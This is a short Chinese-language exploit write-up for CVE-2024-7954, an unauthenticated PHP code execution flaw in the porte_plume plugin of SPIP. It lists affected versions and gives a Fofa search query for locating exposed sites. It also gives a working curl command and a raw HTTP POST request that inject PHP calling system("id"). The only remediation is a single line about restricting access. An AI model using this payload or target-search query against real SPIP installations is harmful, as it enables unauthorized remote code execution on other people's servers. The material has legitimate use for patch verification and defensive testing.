SPIP插件porte_plume PHP任意执行漏洞(CVE-2024-7954)

0x01 漏洞描述：

SPIP 4.30-alpha2、4.2.13、4.1.16之前的版本使用的porte_plume插件存在任意代码执行漏洞，远程未经身份验证的攻击者可以通过发送精心设计的HTTP 请求以SPIP用户身份执行任意PHP代码。

0x02 影响版本：

SPIP 4.30-alpha2 < 4.2.13

SPIP 4.30-alpha2 < 4.1.16

0x03 搜索语句：

Fofa:icon_hash=="-1224668706"

0x04 漏洞复现:

exp如下：

curl -sSkiL 'https://your-ip/index.php?action=porte_plume_previsu' -X POST -d 'data=AA_[<img111111>->URL`<?php system("id");?>`]_BB'

构造请求如下：

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

data=AA_[<img2>->URL`<?php system("id");?>`]_BB

0x05 修复建议：

关闭互联网暴露面或接口设置访问权限